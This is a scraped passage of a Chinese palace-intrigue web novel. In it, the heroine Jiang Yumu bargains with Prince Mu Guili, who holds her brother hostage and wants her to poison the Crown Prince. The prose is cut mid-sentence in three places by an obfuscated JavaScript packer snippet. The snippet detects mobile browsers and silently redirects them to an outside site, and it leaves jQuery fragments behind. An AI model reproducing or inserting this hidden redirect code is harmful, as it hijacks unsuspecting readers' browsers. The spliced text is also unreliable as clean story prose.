她的小脑袋瓜想不出帮御暮姐姐脱困的办法,只能在心里祈祷她平安无事,为此把自己叫得上名字的所有神佛都念了个遍。 红霞不知道的是,江御暮乃天下第一等不信神佛之人。 她只信自己。 旁人蒙得住她的眼睛,却蒙不住她的心。 在京城生活十余年,江御暮早就将城内地图牢牢记住了。 离开书铺以后,她与蒙面人各撑一把伞,一前一后走了许久,来至一户破败小院门口,终于站定不动。 一路上,江御暮数着步数估算距离,辅之以各个分岔路口的左右方向,顺利在脑中绘出了整条路线。 当然,她得表现出对此一无所知,才好让蒙面人掉以轻心。 雷声十分应景地响起,为盖过它的动静,江御暮只得靠近他大声问道:“这是什么地方?” 蒙面人不答,用有规律的节奏敲开了院门。听脚步声,院内少说也有七八个人。 蒙面人将江御暮拉进院里,关门声响起后,他才摘下她的蒙眼布,伸手向斜前方指去。 “江小姐瞧瞧,那是谁?” 蒙眼布缠得太紧太久,江御暮的双眼一时有些模糊,隐约只看到不远处立着六尺多高的十字形木柱,一人双手大张,被捆在上面。 一身鸦青色劲装被雨水全然淋湿,左肩的伤口还在渗血,衬得面色愈发苍白。 视野慢慢恢复如常,江御暮的心跳也随之加快。 那名伤者的面容越来越清晰。察觉有人走近,他顶着直直往脸上打的雨滴艰难睁眼,霎时间,眼神满溢惊诧。 “江御暮……你怎么会在这!?” “这个问题,应该由我来问你吧?” 江御暮面色严肃,分出一半雨伞遮在他头顶。 “江连镜,你不是应该护送母亲和妹妹去涵州吗!?” 为什么…… 为什么会落到穆归礼手中…… 14. 御暮姐苦心谋周旋,连镜弟急怒难转…… “是我无能……”被五花大绑的江连镜垂下脑袋,避开江御暮的目光,“两日前,被这恶贼的爪牙设伏围攻,捉了回来……” 江御暮又问:“你可知母亲和妹妹现在何处?” 江连镜急忙抬头:“放心,她们无事!不日便能到达涵州!” 因着雨势颇大,蒙面人在一旁听不清他们对话的内容,于是三跨两步来至江家姐弟近旁。 江连镜瞪他一眼,凶巴巴吼道:“你这恶贼,到底有什么图谋!?” 蒙面人没搭理他,转头对江御暮笑吟吟道:“令弟这火爆脾气,比起你来也不遑多让啊。” 江御暮不接他的话茬,语气不善道:“你派人捉江连镜回京,就是为了给我找个所谓的‘挂碍’么?” 蒙面人仔细想了想才回答:“是,也不是。” “四天前下令捉人时,本王的确打算用江家人的性命威胁你,逼你同意合作。” “可是昨夜,你不是已然松动态度,将半只脚踏入了本王的阵营么?” 江连镜在一旁听着听着,忽然觉出不对——这厮竟然自称“本王”?而且江御暮也没有反驳!还有,他说的“阵营”又是怎么回事? “是啊。”江御暮面露不悦,“既然你我二人早已化干戈为玉帛,你又为何要伤害我的家人!” 蒙面人俨乎其然,绕着弯子答道:“和解是一回事,合作又是另一回事。江小姐可还记得,我昨夜向你讨要的投名状?” “自然记得,可你并未言明详情。” 蒙面人满意地点点头:“兹事体大,江小姐若从本王口中套出话来,扭头又去禀报太子,本王岂不是沦为了跳梁小丑么?” 江连镜越听越心惊,忍不住向江御暮发问:“怎么又扯上太子了?这狗贼到底想做什么!?” “闭嘴,别添乱!”江御暮剜他一眼,继而抬眸与蒙面人对视,“所以,我唯有乖乖按照你的心意办事,并且对一切谋划守口如瓶,才能保住江连镜的性命,是吗?” 蒙面人点头笑道:“不错。而且,只要江小姐顺利通过这一道考验,此后本王对你,便只有信赖,再无猜疑。” 江连镜听罢,对准蒙面人的方向,重重踢一脚地上的积水,霎时打湿他大片衣摆。 “狗贼!你做梦!” 蒙面人没防住这预料之外的一记怪招,待他反应过来方才发生了什么,又听江连镜急切喊话。 “江御暮!你别上他的当!我用不着你救!” 蒙面人有些不耐烦,用鼻子重重呼出一口气。 “啧,聒噪。” 语毕,他抬手掷出一发暗器,直对着江连镜的上唇打去。 却不料江御暮眼疾手快,在最后关头接住了他的暗器。摊开手一看,掌心有些微擦伤,已渗出小小的血珠。 她用眼神警告江连镜不要插手此事,继而斜眼向蒙面人瞟去:“条件还没谈好,就当着家属的面暗算人质,有点不地道吧?” 蒙面人好整以暇:“哦?江小姐有什么条件,尽管提吧。只要不过分,本王都会尽量满足。” 江御暮权衡片刻,开口道:“第一,我要你即刻摘下面具,不再隐瞒身份。既然要合作,咱们就都玩明牌。” 虽然她已经知道他就是穆归礼,但是今后若还要一直假装无知,那也实在累得慌。 蒙面人看上去很是犹豫,江御暮懒得再费口舌,索性直接上手去揭他的面具。 “大胆!” 蒙面人条件反射般握住她手腕,不知不觉用足了力气,她却毫无退缩之意,表情亦无丝毫波澜,眼神仿佛在说: 我一向大胆,你早知道的,不是吗? 蒙面人看中的也正是她身上这点价值,于是缓缓松开手,相当于默许她的行为。 江御暮动作干脆利落,快速摘下他的面具,紧接着演出她早就准备好的表情——松一口气的同时,还带着些许惊讶。 “安王殿下?”她微微眯眼,透出审视的目光,“原来是你。” 与此同时,不远处的江连镜小声骂了句什么。 穆归礼斜睨他一眼,正对上他瞋目切齿的样子,不由在心里讥笑两声。 “本王身份已明,江小姐若还有其他要求,就继续说吧。” “自然有。”江御暮将他的面具拿在手中,一边把玩一边说道,“第二个条件,我要你即刻请来京城最好的郎中,给江连镜治伤。” “不可能。”穆归礼想都不想就严词拒绝,“万一郎中走漏消息,坏了本王的大事,这份责任,你们谁承担得起?” “那便退而求其次吧——”江御暮把面具重新戴在他脸上,“你派个信得过的人去买药材,由我亲自给江连镜治伤。如此,便不会走漏消息了。” “这倒无妨。” 语毕,穆归礼从院中的十名护卫里随意唤出一人,派他去医馆抓药。 江御暮还叮嘱了一句:“多买些,用不着给你主子省钱。” 穆归礼也不恼,继续问她第三条要求。 江御暮却没有回答,转而问起:“先说说你需要我做些什么吧。若任务太难完成,有些条件,我提了不也是白提吗?” 穆归礼怡然自若:“江小姐不必妄自菲薄,这个任务,你一定能顺利完成。” “哦?什么任务?” 穆归礼从怀中取出一只鼻烟壶大小的瓷瓶,放在江御暮手中,帮她握紧,弯着一双笑眼答道: “毒杀太子。” 这短短的四个字宛如一记重锤,砸得江连镜瞪大双眼,不敢置信地看着面前两人。 “不、不能答应他……” 江连镜的声音渐渐变大,起初有点像喃喃自语,重复几遍后,就变成了声嘶力竭的劝阻,语气近乎祈求。 杀害太子是要诛九族的大罪!穆归礼狼子野心,利用江御暮借刀杀人后,定会对她弃如敝屣。 如此明显的火坑,她怎么能往里跳呢!? “江御暮!你别答应他!快走,别管我——” 后半句话还没说完,他就被满脸写着不耐烦的江御暮一掌劈晕。 视野彻底变黑之前,江连镜所剩无几的力气只够再说一遍:“别……答应……他……” 语毕垂下脑袋,没了动静。 江御暮双眉紧蹙:“晕都晕了,让人抬进屋去里吧。我看他若再淋一会雨,就要折寿了。” 穆归礼答应得痛快,却多留了个心眼,让护卫们把江连镜放在屋内的破床上,四肢分别捆缚在床架四角,确保他无法挣脱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017090|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >江御暮关上房门,站在屋檐下收起伞,转身看向穆归礼,出言试探道: “你明明知道太子身患顽疾,时常咳血,八成活不长久。耐心等着他驾鹤西去便是了,何必急于一时,冒险下毒杀他呢?” 说着,她将那装着毒药的瓷瓶往上一抛,又稳稳落入手心。如此反复玩几回,看得人胆战心惊。 穆归礼面色阴沉,半晌憋出来一句:“我恨他极深,不愿再留他多活一日。” 否则还能怎么回答? 难道要阐明实情,说太子手下有个叫青萝的女人,知晓穆归礼喜好男风的秘密,随时有可能通过太子向皇帝告发,借此斩断他的争储之路。他急于灭口,所以才计划毒杀太子? 江御暮自然也猜得到他心里这些小九九,于是没再深究,佯装苦恼地问起: “要我给太子的饮食中下毒,这倒不难。可是中毒身亡之人的特征,明显与病亡之人不同,仵作一验便知。到时候追查起来,我如何脱得了干系?” 穆归礼轻松一笑,故作亲密地捋了捋她的鬓发:“这一点你大可放心。这种奇毒无色无味,服用之后不会立即发作。若无解药,十二个时辰后才会频繁咳血,至多一月而亡。换言之,毒发时的症状与太子自己的病症如出一辙,绝不会引人怀疑。” “世上当真有此等奇毒?”江御暮继续套话,“你从哪寻来的?” 穆归礼得意一笑,正要回答,忽然又住了口,防备道:“事成之后,本王自会告诉你。” 江御暮故作犹豫之态:“此事非同小可,等我回去想想吧,考虑好了再给你答复。” 穆归礼眉头一拧:“江小姐,本王可不是在征求你的意见。别忘了,你弟弟的性命还捏在本王手里。” 他本以为这是一句很有分量的狠话,不料江御暮听了却哑然失笑。 “安王殿下,你不会真以为我很在乎他吧?” 穆归礼闻言一愣,细思之后难免质疑:“我更愿意相信,你是在假装毫不在意,借此拖延时间,抑或抬升谈判的价码。” 江御暮不屑地摇摇头,哂笑道:“你和太子是一母同胞的亲兄弟,尚且与彼此不睦已久。我和江连镜不过是同父异母的姐弟……喔,不对。这么多年,他甚至没有叫过我一声‘姐姐’,我又怎么会在乎这个便宜弟弟的死活呢?没看我刚才劈晕他的时候,都下了狠手么?” 穆归礼还是不信:“既然你不在意他是死是活,方才又为何要我遣人抓药,给他治伤?” 江御暮满不在乎道:“表面功夫总要做一做嘛。否则万一他有幸脱险,回府以后向父亲告我一状,说我不顾手足之情,我就毫无辩解的余地了。” 穆归礼凝视她双眼许久,固执己见道:“不,这个借口太蹩脚了,明显是为了救人,故意反其道而行之。江小姐,你骗不到我的。” 江御暮无奈地轻声一叹,再开口时,甚至对他直呼其名。 “穆归礼,我若真的有心救他,就凭你手下这几个虾兵蟹将,拦我一炷香的工夫都难。” 说着,她轻轻扭动伞柄,听到咔哒一声响动后,迅速从中抽出一柄纤细的长剑。 “要试试看么?算上你,一共十个人,谁先来?” 当然,就算十个人一起上,她也乐得迎战。 15. 速战连捷阳谋离间,冷面扶伤明察秋…… 穆归礼见她并不像开玩笑的样子,心下难免慌张,却还是故作镇定道:“江小姐可要想好了,你现在若再度反水,与本王为敌,可捞不着任何好处。” “我有说过要与你为敌吗?”江御暮用剑尖轻点地面。 “那你为何忽然拔剑相向?”穆归礼质问道。 江御暮讥讽一笑:“因为我讨厌被人威胁,更讨厌对方明明只拿着无足轻重的筹码,却自以为能威胁得了我。” 穆归礼细想片刻才反应过来,江御暮这是要用击败他所有护卫的方式,证明她完全有直接救出江连镜的实力。 唯有在这个前提下,她才能自证所谓“对江连镜毫不在意,原本就没打算救他”的说法。 换言之,如果她愿意与穆归礼合作,绝不是受其威胁之下的无奈妥协,而是出于利益考量的现实抉择。 穆归礼想通这点,不由耐人寻味地一笑:“先前,倒是本王轻看了你。” 语毕,他转身唤来院内九名护卫,命令道:“你们几个,陪江小姐好好打一场,都拿出真本事来!谁若能赢她,本王重重有赏!” “卑职请战!”一位五大三粗的高个子护卫主动做了出头鸟。 他走到江御暮近前,将左臂背到身后,表明愿意让她一只手,同时自信十足道:“来吧!” 江御暮很喜欢这种被人轻视的感觉,因为只有这样,对方落败后才会更加痛苦,甚至陷入无尽的自我怀疑之中。 “没意思。”她将长剑插回伞柄,与右臂一起背在身后,“我也让你一只手,这样才公平嘛。” 出头鸟嘴角一抽,握紧拳头便冲了上来。 他用力挥拳之际,江御暮轻松闪身躲开,一掌劈上他后颈。 第一位对手,就这么扑通一声倒在了地上。 穆归礼连忙上前查看,确认了他颈部的脉搏仍在规律跳动,这才松一口气,紧接着向其余众人道:“继续!” 第二位对手吸取了教训,不敢自大,紧紧握住手中弯刀,朝江御暮迎面砍去。 江御暮没有拔剑,用伞连挡几击后,趁其不备大力攻他手腕,将弯刀斩落在地,一脚踢飞。 对方骤然失去武器,顿时方寸大乱,硬着头皮抗了两个回合便败下阵来。 穆归礼黑着脸骂了句废物,气冲冲道:“下一个!” 江御暮拔出长剑,语气凛若冰霜:“何必如此浪费时间?剩下七个人,一起上吧!” 说着,她走下低矮石阶,头顶没了屋檐的遮蔽,竹色箭袖衣裙很快就被雨水打湿,变成浓重的苍翠墨绿。 其余几人保持着不远不近的距离,将她团团围住,却没有人敢率先动手。 江御暮轻蔑一笑:“怎么都不动弹,难不成……是等着安王殿下给你们丢手绢呢?” 听到主子被辱,一名忠心耿耿的护卫立时被激怒,大喝一声,提刀向她冲来,带着极强的杀意。 江御暮敛起笑容看向他,抬手横剑一削便斩去他半截刀身。铁片斜斜飞出,落在堪堪淹过鞋底的积水中,像一叶注定沉没的小舟。 “你方才若不喊那一声,兴许还不会输得如此难看。”她说。 对方明显不服,怒目圆睁道:“谁说我输了?我还——” “你闭嘴!”穆归礼站在屋檐下呵斥道,“死鸭子嘴硬,少在这给本王丢人!” 主子已然发话,此人纵然心不甘情不愿,也只得乖乖认输。 这才不到一炷香的工夫,护卫阵营便已折损三员大将。其余六人不敢孤军奋战,互相交换个眼神,统统下定决心—— 一起上吧!虽说以多欺少不太体面,但总好过输了比试,惹安王殿下生气啊! 可是还没过多久,他们就不约而同地发现,即便六人联手对阵江御暮,也无法提升多少胜算。 痛呼声此起彼伏,包围圈的缺口一个接一个出现。 当最后一根独苗也被打倒在地,他脑中立刻浮现出一个想法。 “早知以多欺少也照样输得如此难看,我方才还不如跟她单独交手呢,至少能占个体面……” 只可惜世上没有后悔药。 江御暮正欲收剑,却见方才被她斩断刀身的那人,仍不服气地瞪着她。 “你,过来。”她勾勾手指。 那人还以为她要给他再战一次的机会,忙不迭跑上前来。 江御暮却只拎起他的衣摆一角,仔细擦净自己的剑,接着径直走向穆归礼,连多余的眼神都没有给他留下。 他固然气恼,固然愤恨,可是那又有何用?技不如人,合该受的。 穆归礼望着江御暮,不紧不慢地拊掌道:“精彩,精彩!先前那番威胁,是本王打错了主意,还请江小姐不要见怪。” 江御暮收剑入鞘,语带揶揄:“你若早点拿出这副态度,咱们的合作何愁不顺利呢?” 穆归礼心中一喜:“这么说,江小姐是答应——” “还有一个条件。”她打断道。 “但讲无妨!”穆归礼急不可耐。 江御暮取出装着毒药的瓷瓶,一本正经道:“耳听为虚,眼见为实。你若不让我亲眼确认这种奇毒的功效,我绝不会冒险替你做事。万一太子刚服下这药就一命呜呼,我上哪找脱罪的余地去?” 这要求的确合理,穆归礼找不到拒绝的理由,便问:“你想如何确认?” 江御暮把瓷瓶递给他,云淡风轻道:“你手下有这么多人,随便挑出一个,让他服药试试效果,不就行了?” 穆归礼迟疑道:“何必用本王的人试药?满京城随便找个人便是了。” 江御暮用他自己说过的话反他将一军:“万一随便找来的人察觉情况不对,走漏消息坏了你的大事,这份责任,谁承担得起?” 穆归礼冷笑一声,没有回答。 江御暮接着说道:“毒害太子这种重罪,砍一百次头都不够。总不能只让我承担风险,你自己一点代价都不付吧?这种合作,公平吗?” 穆归礼自知无法反驳,权衡一番后煞有介事道:“好,那本王便用贴身护卫的一条命,换江小姐这个盟友了。” 语毕,他高声唤道:“时异!” 一名护卫旋即快步跑来,正是被江御暮当作擦剑布的那人。 “殿下有何吩咐?”时异抱拳躬身问道。 穆归礼将他带到一边,低声嘱咐几句。 时异听得认真,脸色却越来越差。听到最后,甚至下跪求情。 “求殿下开恩!卑职、卑职今后定当尽心竭力,为您做牛做马,只求您留下卑职一条贱命……” 他一边说着,一边重重磕头,鲜血融进雨水,冲不散满面悲戚之色。 “时异,本王相信你的忠心。”穆归礼没有低头看他,只问,“你从前不是发过誓——即便为主子赴死,也心甘情愿么?” 时异磕头的动作猛然停住,颤抖着,慢慢抬头望向他,声音轻得几乎听不见:“殿下……开恩……” 江御暮悄悄观察着其余几名护卫,他们果然都面露不忍。 是啊,最为忠心之人,却被主子要求毫无怨言地赴死。换作是谁,都会物伤其类的吧? 只要能在他们心里种下对穆归礼不满的种子,哪怕根基不稳,难以发芽,她这一计也算成功。 眨眼间,穆归礼已经没了耐心,开始催促时异:“你是打算自己服药,还是让本王亲自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026417|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动手?” 闻得此言,时异眼中再无希冀,却也不是一潭死水。 他从腰间抽出断得只剩半截的弯刀,撑着地站起身来,郁愤不平地看着穆归礼。 “入府十二载,卑职自认勤勤恳恳,从未行差踏错。却为何……为何会落得如此下场!” 穆归礼蔑笑一声:“你还敢质问本王,看来,当真是留不得了!” 刹那间,他掷出一枚暗器,时异躲慢一步,险些被打中眼睛。 他苦笑两声,恨恨道:“既然你不仁在先,就休怪我不义了!” 说罢,二人近身交起手来。江御暮冷眼瞧着,穆归礼似乎略胜一筹。 嗯……她还真有些意外。 不多时,时异就败下阵来,被穆归礼踩住胸膛,掰开嘴喂下半瓶毒药。 为防他呕吐自救,穆归礼还撕下时异的半片衣摆,裹成一团硬生生塞进了他嘴里。 咚咚咚! 院门忽然被敲响,来者正是被穆归礼派去抓药的那人。 “回禀王爷,江小姐要的东西,卑职都买回来了!” 穆归礼正忙着,没空搭理他,江御暮就自行接过了包裹查看。 那人环顾四周,见兄弟们都受伤倒地,本就预感不妙。再仔细一看,又发现时异被穆归礼折腾得半死不活,顿时更觉心惊。 他不知该向谁询问情况,下意识朝距离最近的江御暮投去疑惑的眼神。 江御暮显然没有帮他答疑的意思,只意味深长道:“早就让你多买点药了。这才三人份,怎么够用呢?” 她从包裹中取出一人份的药材,带上为数不多的所有包扎布,将剩下的东西留给他。 走进屋内,江连镜还昏迷着,湿透的衣服紧贴皮肤,肩上的伤口仍在渗血。 江御暮点起火炉,凑合着烤上衣服。又取来一盆清水,帮他清洗伤口。 伤处受到刺激,江连镜肩膀一颤,意识逐渐清醒,眼睛也随之慢慢睁开。 “江……御暮?” 他的声音尚不够清晰连贯,用力看清周遭环境后,有气无力地问道:“现在……外面情况如何了?” 江御暮没搭理他,擦净伤口后,将止血的药粉一股脑倒了上去,动作丝毫不轻柔,痛得江连镜紧咬下唇,强忍哼声。 “你,是不是在生气?”他问,“气我无能,落入歹人手里,害你被他威胁?” 江御暮继续忽视江连镜的问题,用捆粽子的方式帮他包扎,力道颇重,痛得他没忍住长“嘶”一声。 “江御暮!” 他抓住她手腕,双眉紧紧蹙着,不知是疼的还是气的。 “现在还有机会,只要你给我松绑,咱们俩联手对敌,一定能顺利逃出去的!” “逃?”江御暮的语气听上去有些讽刺,“我为什么要帮你逃?” 江连镜不可置信地看着她,眼神霎时染上委屈的颜色。 江御暮仍冷着一张脸,甩开他的手。 “江连镜,你不会真以为我看不出来,你是故意被他们抓住的吧?” 此话一出,江连镜目光微移,立时透出几分心虚。 可他仍然嘴硬道:“谁会故意被人抓啊?这不是有病嘛!” 江御暮冷哼一声:“我跟外面那帮虾兵蟹将都交过手了,知道他们有几斤几两。你就是再废物,也不至于输在他们手里。” 江连镜赔着笑转移话题:“诶,这算夸我吗?” 江御暮没心思跟他开玩笑,板着脸问道:“不要转移话题,说实话,你为什么要故意落败被擒?” 江连镜表情一僵,垂眸沉默许久。 这个问题,终究还是躲不过去啊…… 16. 倔少爷返京孤行意,急太子满城搜风…… 江连镜从一开始就不想离开京城。 妹妹江唤玥年少不知事,还以为父亲打发他们去涵州,真的只是为了探亲而已。 他却心如明镜,知道此行实际上是为了避祸。而这一切的一切,似乎都与莫名其妙盯上江御暮的太子有关。 山雨欲来,江连镜放心不下留在京中的亲人,更不想被迫做逃兵。 他明明没有比江御暮晚生多久,她凭什么总把他视作低人一辈的孩子呢? 江连镜打定主意,将母亲和妹妹平安送到涵州以后,就要想办法找个借口返回京城。 没想到,漫长的路途才行至一半,他就迎来了意外之喜——涵州表姑专门派了几个护卫,来接江家三人,彼时正在他们必经之路上的驿馆里等候。 既然后半程有她们护佑在旁,江连镜就无需担心母亲和妹妹的安危,可以提前几日回京了。 临行前,母亲谭昭犹豫再三,还是劝道:“连镜,你明知你姐姐是个倔脾气,又为何非要跟她对着干呢?御暮逼你来涵州,其实也是为了你好。就算你这次一意孤行回了京,她也未必会留你多待。” “她是倔脾气不假,可我比她还倔呢,您怎么不提?”江连镜不服道,“就算江御暮不让我进家门,我还不能自己在附近租间院子住么?总不至于露宿街头便是了。” 谭昭无奈摇摇头,闭口不再劝阻。 江唤玥人小鬼大,铰下来半块银子塞到他手里,故作严肃地打趣起来。 “哥,你若真沦落到露宿街头的地步,就用这些钱买一套舒服点的被褥吧。或者买个结实点的大碗,说不定也能派上用场。” 玩笑开罢,她就去找护卫姐姐们玩了,一眨眼便跑得不见踪影。 江连镜不甘示弱,憋着满肚子坏水,把那半块银子郑重交给了谭昭,一脸认真地提出建议。 “娘,这钱还是您来保管吧。江御暮不是千叮万嘱让妹妹不要落下功课么?您就多给唤玥买点书读吧,我看……越诘屈聱牙的越好!反复诵读,方能练出真才实学!” 谭昭含着慈爱的笑意白他一眼:“要走便赶紧走,老娘才懒得帮你们打这糊涂官司!” “好嘞。” 江连镜欣然踏上归途,本以为一路上都应该心情大好,谁知走着走着,竟与一伙蒙面歹人狭路相逢。 为首的十分嚣张,喊道:“江大少爷,跟我们走一趟吧!” 奇怪,他们不仅认识他,而且似乎是专程奔着抓他而来的。 江连镜不动声色地拔出短刀,藏在袖管里,镇定问道:“跟你们去哪?” “去见京中一等一的贵人!”对面答道,“至于贵人是谁,你还是不问的好。知道太多,对你没有好处!” 贵人,嘁,什么东……诶,等等! 京中一等一的贵人,重点在——京中! 江连镜暗喜:无论他们效忠的是哪位贵胄,不都给我提供了独自返京的绝佳借口吗? 可是这份喜悦只持续了一霎,他很快又开始忧虑:眼前这帮人明显来者不善。那么他们背后的“贵人”,对江家而言,想必也是敌非友吧! 他这厢寻思之际,对面的领头人已经等得不耐烦了,出言催促恐吓起来。 “江大少爷,你若不识抬举,就别怪我们对你出手了!” 语毕,八个歹人各执刀剑,纷纷移步靠近,将他团团围住。 江连镜打起十二万分警惕,与敌人交手几个回合,很快便摸清他们的水准,有了以少胜多的自信。 与此同时,他脑中也飞速思考着更深一层的应对之策。 下策——将他们全部打退。 虽然没什么难度,但是从某种意义上讲,就相当于放虎归山。 中策——活捉其领头人,威逼利诱,让对方供出幕后那位“贵人”的真实身份。 可江连镜并不擅长逼供,更不知这些人对他们的主子有几分忠心,万一弄巧成拙,直接与对方撕破脸就不好了。 至于上策……其实江连镜也不能确定,这个主意算不算“上策”。 但在如此短暂的反应时间里,这已经是他能想到的最佳应对之法了——佯装不敌,受伤被擒,扮猪吃老虎,好好探一探这伙歹人的底细。 “事情就是这样了……”他对江御暮解释道。 当然,江连镜还存着一份私心,并没有如实告诉她—— 只要他经此一战,留下明显的伤口,不就有理由归家养伤了吗! 到时候,就算江御暮再如何铁石心肠,也不会忍心赶他走了吧? 可惜的是,他设想过事态变化的很多种可能性,唯独没有想过,所谓的“贵人”穆归礼会把他当做威胁江御暮的筹码。 此时此刻,江连镜也反思了许多,知道自己的鲁莽举动给江御暮惹来了莫大的麻烦。 于是他放软态度,撒娇祈求道:“你就帮我松松绑嘛……要打要罚,等咱们平安回了家再说,好不好?” “嗯,的确该罚。”江御暮点点头,“就罚你把自己种出的苦果吃个干净,踏踏实实留在这里当人质。只要我不来救你,你就不许离开半步。” “什么!?”江连镜睁大双眼,预感不妙,“你、你不会真的要帮那狗贼——” 说到这里,他猛地住口,将本就不大的音量压得更低,近乎气声:“谋害太子?” 江御暮唇角勾起一抹极淡的微笑:“我劝你还是少说话,少胡猜乱想;多沉淀,多长长记性吧。” 语毕,她起身准备出门。刚走出几步,忽又折返回来。 “这个,你收好。” 江御暮从腰带上拆下一块边缘十分锋利的铁片,藏进江连镜的护臂之中。 江连镜欣喜道:“你是让我趁他们不注意,自己割断绳子逃跑?” “瞎猜什么?瞎逃什么?我不是说了让你踏踏实实做人质吗!” 江御暮轻拍他脑门以示不满,接着解释道:“我给你这东西,是让你防身的。你四条胳膊腿都被拴在床架上,万一穆归礼那厮对你有什么不轨之举……咳……” 她不好把内情讲得太明白,只能隐晦暗示,寄希望于江连镜自身的领悟力和联想力。 可惜江连镜完全没听懂她的暗示,不解道:“不轨之举?他好歹也是个王爷,总不至于闲得没事做,跑来殴打人质吧?” 江御暮失笑,紧接又着无奈叹道:“听不懂就算了。总之,穆归礼若与你单独相处,你多防着点他就是了。” 交代完这些,她才踏出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042702|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房门。 外头的雨势丝毫不见减弱,江御暮走到穆归礼近旁,低头看了看昏倒在地的时异。 “怎么处理?”穆归礼象征性一问后,不等她回答便提出了自己的建议,“既然你要亲眼见证这种奇毒发作的过程,不妨就把时异关在江府里吧。” 江御暮没有反对,只道:“此事我不方便出面,还要劳烦安王殿下派人把他送过去。” “此事不难。”穆归礼即刻给护卫们布置任务,“去里间找个尺寸大些的箱子,凿几个眼,把时异捆好了装进去,连人带箱送进江府,就说是本王给江小姐的见面礼。” 护卫们领旨而去。 他们离开小院时,是四个人一起抬着箱子。然而不多时,其中一个人就单独跑了回来,似乎有重要信息急着禀报。 “慌慌张张的,像什么样子!”穆归礼不悦呵斥道。 护卫跪下告了声罪,因着一路跑得太急,还没来得及把气喘匀,便开口道:“是、是太子!太子误以为江小姐失踪,正、正在派手下全城搜查!” 穆归礼走近他两步,急切道:“你把话讲清楚些,他是何时发现的,现已搜查多久了?” 护卫绞尽脑汁,用一路上听到的风言风语,尽量拼凑出事情始末。 “好像是——太子听闻江小姐感染风寒,便前去看望,不料却扑了个空,书铺里只有一个小姑娘在看店。” “后来,不知那小姑娘跟太子说了什么,竟引得他慌了手脚,以至于大张旗鼓地下令搜查……” “至于太子具体查了多久,卑职就不得而知了……请殿下赎罪!” 穆归礼扭头看向江御暮,戏谑道:“穆归衡都急成这样了,江小姐怎么一点也不感动呢?” 江御暮斜他一眼:“少拿这种话试探我。” 穆归礼俨然已经习惯了她这种毫无敬意的态度,笑道:“你不打算去露个面么?顺便打打掩护,别让他查到本王头上来。” 江御暮收起伞,把它扔给一旁的护卫:“劳烦把这个也送回我府中,注意避着点太子的耳目。” 穆归礼将一只手伸出自己的伞外,感受着雨势大小问道:“苦肉计?” 江御暮摇摇头。 淋点雨而已,哪里就算是“苦”了? 她快速酝酿好情绪,正准备离开小院,穆归衡却突然制止。 “等等!”他大踏步来到她身前,“本王险些忘了,这处小院的具体位置,暂时还不能告诉江小姐。” 虽然江御暮早就靠盲记路线,推测出了此地的具体位置,但她不能在穆归礼面前表现出这一点。 “又要蒙眼啊?”她问。 “其实这次,不蒙眼也可以。”他答。 江御暮挑眉:“哦?怎么说?” 穆归礼舒了舒筋骨,摘下面具随手一扔,继而拦腰将江御暮抱起。 “江小姐被神秘歹徒带走,险些遇害。千钧一发之际,幸得本王及时搭救,才保住性命,只是昏了过去。昏厥之人,自然不必蒙眼了。” “好俗的故事。”江御暮意兴索然,“放手!” 在穆归衡面前,她早就不演脆弱小白花的剧本了。 至于一会要演什么……那可绝对不能告诉穆归礼呢。 17. 城防兵救美多思虑,穆归衡惊定多感…… 穆归礼终究还是妥协了一半——江御暮可以不由他亲自送回去,但前半程必须蒙眼,且由他派两个护卫护送。 为避人耳目,他们选择了一条小道。往日这条路一向少有人烟,更何况今日还下着大雨,想必更不会有行人路过了。 只可惜,他们低估了太子寻人的阵仗。 刚拐过两个街角,三人就听到了一阵由远及近的马蹄声,另有兵器与铁甲摩擦碰撞的动静,格外清晰入耳。 一名护卫凭过往的经验判断:“应该不是太子的人,是城防兵例行巡逻吧?” 另一名护卫点点头,但是出于谨慎,他还是提议:“咱们去树丛后头躲一躲。” 江御暮没有异议,随二人一同躲了起来。 她双眼被蒙,只能靠耳力判断那名城防兵的行动路径。 近了,更近了。 江御暮缩在两名护卫身后,不知何时从腰带上拽下一颗铜珠,悄无声息。 此时此刻,护卫们几乎将一切关注都放在了城防兵身上,目不转睛地盯着他。 他从街角出现,策马掠过小半条街道,每前进一段距离都会停下来左右张望。 很快,他就停在了三人藏身的树丛附近。 观望片刻,竟没有发现丝毫异常,轻踢马腹便要继续前进。 两名护卫松了口气,却暂时不敢妄动,仍然静悄悄地躲在树丛后面。 江御暮趁其不备无声移步,错开几寸距离,手指一动,便将方才那枚铜珠打了出去。 不偏不倚,正打在那城防兵的铁甲上。 她手上的力度不大不小,既不足以伤人,又能使被击中的人受到明确的提醒。 两名护卫还不知发生了什么事,就看到城防兵动作一顿,匆匆勒马,调转方向,拔出长刀,不疾不徐地朝他们所在的方向靠近。 “何人在此!?”城防兵高声喊问。 无人应答。 